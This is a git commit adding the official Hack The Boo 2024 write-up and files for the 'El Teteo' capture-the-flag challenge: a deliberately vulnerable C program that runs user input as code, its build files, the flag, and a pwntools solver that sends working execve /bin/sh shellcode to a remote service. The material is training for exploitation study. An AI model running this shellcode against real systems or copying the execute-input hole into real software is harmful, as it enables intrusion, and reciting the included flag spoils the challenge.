added official hacktheboo2024 writeups

This commit is contained in:
eplots 2024-10-23 11:10:43 +02:00
parent 1f7a9b0566
commit e3c46450f7
327 changed files with 14303 additions and 0 deletions

View file

@ -0,0 +1,8 @@
FROM alpine:latest
RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh
EXPOSE 1337
RUN addgroup -S ctf && adduser -S ctf -G ctf
COPY challenge/ /home/ctf/
WORKDIR /home/ctf
USER ctf
CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./el_teteo"]

View file

@ -0,0 +1,193 @@
![](assets/banner.png)
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="10">El Teteo</font>
16<sup>th</sup> September 2024 / Document No. DYY.102.XX
Prepared By: w3th4nds
Challenge Author(s): w3th4nds
Difficulty: <font color=green>Very Easy</font>
Classification: Official
# Synopsis
El Teteo is a very easy difficulty challenge that features `ret2shellcode`.
# Description
El Teteo, a mischievous ghostly djinni born with a party spirit. You have one chance to summon it and make your wish—but only if its in the mood to grant it.
## Skills Required
- Basic C.
## Skills Learned
- `ret2shellcode`.
# Enumeration
First of all, we start with a `checksec`:
```console
pwndbg> checksec
Arch: amd64
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
### Protections 🛡️
As we can see:
| Protection | Enabled | Usage |
| :---: | :---: | :---: |
| **Canary** | ✅ | Prevents **Buffer Overflows** |
| **NX** | ❌ | Disables **code execution** on stack |
| **PIE** | ✅ | Randomizes the **base address** of the binary |
| **RelRO** | **Full** | Makes some binary sections **read-only** |
The program's interface
![](assets/interface.png)
We already see that when we enter something, the program crashes with "Illegal Instruction". This means that the program tries to execute something that is not a valid instruction. We also see that `NX` is disabled, meaning we can execute arbitrary code.
### Disassembly
Starting with `main()`:
```c
00001366 int32_t main(int32_t argc, char** argv, char** envp)
00001366 {
0000137e void* fsbase;
0000137e int64_t canary = *(uint64_t*)((char*)fsbase + 0x28);
00001392 cls();
0000139e void* const var_a8 = "\x1b[1;33m";
000013ac void* const var_a0 = "\x1b[1;36m";
000013ba void* const var_98 = "\x1b[1;32m";
000013c8 void* const var_90 = "\x1b[1;31m";
000013d6 void* const var_88 = "\x1b[1;34m";
000013e1 void* const var_80 = "\x1b[1;35m";
000013ec void* const var_78 = "\x1b[1;37m";
000013fc srand(time(nullptr));
00001448 printf(&data_204e, &var_a8[((int64_t)(rand() % 6))]);
0000147a int64_t rax_22 = &var_a8[((int64_t)(rand() % 6))];
000014b6 int64_t rbx = &var_a8[((int64_t)(rand() % 6))];
000014f2 int64_t rdi_1 = &var_a8[((int64_t)(rand() % 6))];
0000152e int64_t rsi_11 = &var_a8[((int64_t)(rand() % 6))];
0000156a int64_t rcx_24 = &var_a8[((int64_t)(rand() % 6))];
000015a6 int64_t rdx_7 = &var_a8[((int64_t)(rand() % 6))];
000015e2 int64_t r10 = &var_a8[((int64_t)(rand() % 6))];
0000161e int64_t r11 = &var_a8[((int64_t)(rand() % 6))];
0000165a int64_t r8 = &var_a8[((int64_t)(rand() % 6))];
00001696 int64_t r9 = &var_a8[((int64_t)(rand() % 6))];
000016d2 int64_t r14 = &var_a8[((int64_t)(rand() % 6))];
0000170e int64_t r15 = &var_a8[((int64_t)(rand() % 6))];
0000174a int64_t r12 = &var_a8[((int64_t)(rand() % 6))];
00001786 int64_t r13 = &var_a8[((int64_t)(rand() % 6))];
000017c2 int64_t rax_149 = &var_a8[((int64_t)(rand() % 6))];
000017fe int64_t rbx_1 = &var_a8[((int64_t)(rand() % 6))];
0000183a int64_t rdi_2 = &var_a8[((int64_t)(rand() % 6))];
00001876 int64_t rsi_40 = &var_a8[((int64_t)(rand() % 6))];
000018b2 int64_t rcx_62 = &var_a8[((int64_t)(rand() % 6))];
000018ee int64_t rdx_43 = &var_a8[((int64_t)(rand() % 6))];
0000192a int64_t r10_1 = &var_a8[((int64_t)(rand() % 6))];
00001966 int64_t r11_1 = &var_a8[((int64_t)(rand() % 6))];
000019a2 int64_t r8_1 = &var_a8[((int64_t)(rand() % 6))];
000019de int64_t r9_1 = &var_a8[((int64_t)(rand() % 6))];
00001a1a int64_t r14_1 = &var_a8[((int64_t)(rand() % 6))];
00001a56 int64_t r15_1 = &var_a8[((int64_t)(rand() % 6))];
00001a92 int64_t r14_2 = &var_a8[((int64_t)(rand() % 6))];
00001ac7 int64_t r15_2 = &var_a8[((int64_t)(rand() % 6))];
00001afc int64_t r13_1 = &var_a8[((int64_t)(rand() % 6))];
00001b31 int64_t r12_1 = &var_a8[((int64_t)(rand() % 6))];
00001b66 int64_t rbx_2 = &var_a8[((int64_t)(rand() % 6))];
00001c63 printf(&data_2058, &var_a8[((int64_t)(rand() % 6))], rbx_2, r12_1, r13_1, r15_2, r14_2, r15_1, r14_1, r9_1, r8_1, r11_1, r10_1, rdx_43, rcx_62, rsi_40, rdi_2, rbx_1, rax_149, r13, r12, r15, r14, r9, r8, r11, r10, rdx_7, rcx_24, rsi_11, rdi_1, rbx, rax_22);
00001c79 printstr("[!] I will do whatever you want,…");
00001c7e int64_t shellcode;
00001c7e __builtin_memset(&shellcode, 0, 0x20);
00001caf read(0, &shellcode, 0x1f);
00001cbd &shellcode();
00001cc8 *(uint64_t*)((char*)fsbase + 0x28);
00001cc8
00001cd1 if (canary == *(uint64_t*)((char*)fsbase + 0x28))
00001ce6 return 0;
00001ce6
00001cd3 __stack_chk_fail();
00001cd3 /* no return */
00001366 }
```
If we skip the "colors", the actual code is:
```c
00001c79 printstr("[!] I will do whatever you want,…");
00001c7e int64_t shellcode;
00001c7e __builtin_memset(&shellcode, 0, 0x20);
00001caf read(0, &shellcode, 0x1f);
00001cbd &shellcode();
```
The program will execute whatever we store in the "shellcode" buffer. Taking that into consideration and the fact that `NX` is disabled, we can execute code and get shell. [This](https://shell-storm.org/shellcode/files/shellcode-806.html) payload works like a charm.
```bash
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
```
# Solution
```python
#!/usr/bin/python3
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.arch = 'amd64'
context.log_level = 'critical'
fname = './el_teteo'
LOCAL = False
os.system('clear')
if LOCAL:
print('Running solver locally..\n')
r = process(fname)
else:
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
r = remote(IP, PORT)
print(f'Running solver remotely at {IP} {PORT}\n')
# Shellcode from https://shell-storm.org/shellcode/files/shellcode-806.html
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# Send shellcode
r.sendlineafter('>', sc)
# Get flag
pause(1)
r.sendline('cat flag*')
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

View file

@ -0,0 +1,3 @@
#!/bin/sh
docker build --tag=el_teteo .
docker run -it -p 1337:1337 --rm --name=el_teteo el_teteo

View file

@ -0,0 +1 @@
HTB{3l_t3t30_d3_5h3ll}

Binary file not shown.

View file

@ -0,0 +1,33 @@
#!/usr/bin/python3
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.arch = 'amd64'
context.log_level = 'critical'
fname = './el_teteo'
LOCAL = False
os.system('clear')
if LOCAL:
print('Running solver locally..\n')
r = process(fname)
else:
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
r = remote(IP, PORT)
print(f'Running solver remotely at {IP} {PORT}\n')
# Shellcode from https://shell-storm.org/shellcode/files/shellcode-806.html
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# Send shellcode
r.sendlineafter('>', sc)
# Get flag
pause(1)
r.sendline('cat flag*')
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')

View file

@ -0,0 +1,16 @@
# Name of PROG and CFLAGS shall be changed.
PROG = el_teteo# CHANGE THIS
SRC = main.c
CFLAGS = -fstack-protector-all -z execstack -Wl,-z,relro,-z,now -w -Xlinker -rpath=./glibc/ -Xlinker -I./glibc/ld-linux-x86-64.so.2
all: compile
compile:
@echo "Compiling $(SRC) -> $(PROG)"
gcc $(SRC) -o $(PROG) $(CFLAGS)
clean:
rm -f $(PROG)

View file

@ -0,0 +1,82 @@
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#define RED "\e[1;31m"
#define GREEN "\e[1;32m"
#define YELLOW "\e[1;33m"
#define BLUE "\e[1;34m"
#define MAGENTA "\e[1;35m"
#define CYAN "\e[1;36m"
#define LIGHT_GRAY "\e[1;37m"
#define RESET "\e[0m"
void cls() {
printf("\033[2J");
printf("\033[%d;%dH", 0, 0);
}
void printstr(char *s) {
for (size_t i = 0; i < strlen(s); i++){
putchar(s[i]);
usleep(15000);
}
}
int main(void) {
cls();
char *col[7] = {YELLOW, CYAN, GREEN, RED, BLUE, MAGENTA, LIGHT_GRAY};
srand(time(NULL));
printf("%s", col[rand() % 6]);
printf(""
"%s░▒▓████████▓▒░▒▓█▓▒░ ░▒▓████████▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓██████▓▒░\n"
"%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n"
"%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n"
"%s░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░\n"
"%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n"
"%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n"
"%s░▒▓████████▓▒░▒▓████████▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░▒▓██████▓▒░\n\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⣹⣿⣿⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣀⠙⣿⣿⣿⣿⣿⣿⣿⣿⠏⣀⣤⣶⣿⣿⣿⣿⠃⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠈⠻⣿⣿⣿⣿⣿⣿⣿⣶⣾⣿⣿⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣿⡟⠁⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⣤⣀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⢿⡟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠈⠛⠁⠉⢿⣿⡟⠛⠉⠉⠙⣿⣿⠁⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣠⡄⠘⠟⢀⡄⠈⠃⣸⣷⣄⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣀⣠⣾⣿⡇⢀⣾⣿⡄⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣄⣀⣀⣾⣿⣿⣿⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n\n", col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6] );
printstr("[!] I will do whatever you want, nice or naughty..\n\n> ");
char shellcode[0x20] = {0};
read(0, shellcode, 0x20 - 1);
(*(void(*)())shellcode)();
return 0;
}
__attribute__((constructor))
void setup(void) {
cls();
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(0x1312);
}